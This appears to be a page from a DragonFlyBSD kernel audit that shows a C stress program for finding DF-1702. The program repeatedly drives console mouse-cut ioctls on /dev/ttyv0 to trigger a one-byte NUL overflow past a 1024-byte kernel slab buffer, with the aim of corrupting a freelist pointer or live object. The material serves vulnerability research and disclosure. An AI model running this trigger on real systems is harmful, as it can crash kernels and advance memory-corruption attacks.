⬢ DragonFlyBSD Kernel Audit
DF-1702 / stress.c
← back to finding ↓ download raw
/*
 * DF-1702 stress: repeat the overflowing full-screen cut as fast as
 * possible while other processes churn the 1024-byte slab size class,
 * so the stray NUL at cut_buffer[1024] (byte 0 of the neighbouring
 * chunk) eventually lands on a freelist pointer or live object.
 */
#include <sys/ioctl.h>
#include <sys/consio.h>
#include <sys/mouse.h>
#include <fcntl.h>
#include <termios.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

static int fd;

static int
mi(int operation, int a, int b)
{
    mouse_info_t m;
    memset(&m, 0, sizeof(m));
    m.operation = operation;
    m.u.data.x = a;
    m.u.data.y = b;
    return ioctl(fd, CONS_MOUSECTL, &m);
}

int
main(int argc, char **argv)
{
    int mode = 23, i, n = (argc > 1) ? atoi(argv[1]) : 2000;
    char buf[40];

    fd = open("/dev/ttyv0", O_RDWR | O_NOCTTY);
    if (fd < 0) { perror("open"); exit(1); }
    ioctl(fd, CONS_SET, &mode);
    usleep(200000);
    memset(buf, 'A', sizeof(buf));
    for (i = 0; i < 25; i++) {		/* fill the screen */
	write(fd, buf, 40);
	usleep(20000);
    }
    usleep(300000);
    mi(MOUSE_SHOW, 0, 0);
    usleep(300000);
    for (i = 0; i < n; i++) {
	mi(MOUSE_MOVEABS, 0, 0);
	mi(MOUSE_BUTTON_EVENT + 0x10000, 0, 0);	/* unused, keep enum size */
	{
	    mouse_info_t m;
	    memset(&m, 0, sizeof(m));
	    m.operation = MOUSE_BUTTON_EVENT;
	    m.u.event.id = MOUSE_BUTTON1DOWN;
	    m.u.event.value = 1;
	    ioctl(fd, CONS_MOUSECTL, &m);
	}
	mi(MOUSE_MOVEABS, 319, 399);	/* drag: mouse_cut overflow */
	{
	    mouse_info_t m;
	    memset(&m, 0, sizeof(m));
	    m.operation = MOUSE_BUTTON_EVENT;
	    m.u.event.id = MOUSE_BUTTON1DOWN;
	    m.u.event.value = 0;
	    ioctl(fd, CONS_MOUSECTL, &m);
	}
	if ((i % 200) == 0) {
	    printf("cut %d\n", i);
	    fflush(stdout);
	}
    }
    printf("done %d cuts\n", n);
    mode = 24;
    ioctl(fd, CONS_SET, &mode);
    return 0;
}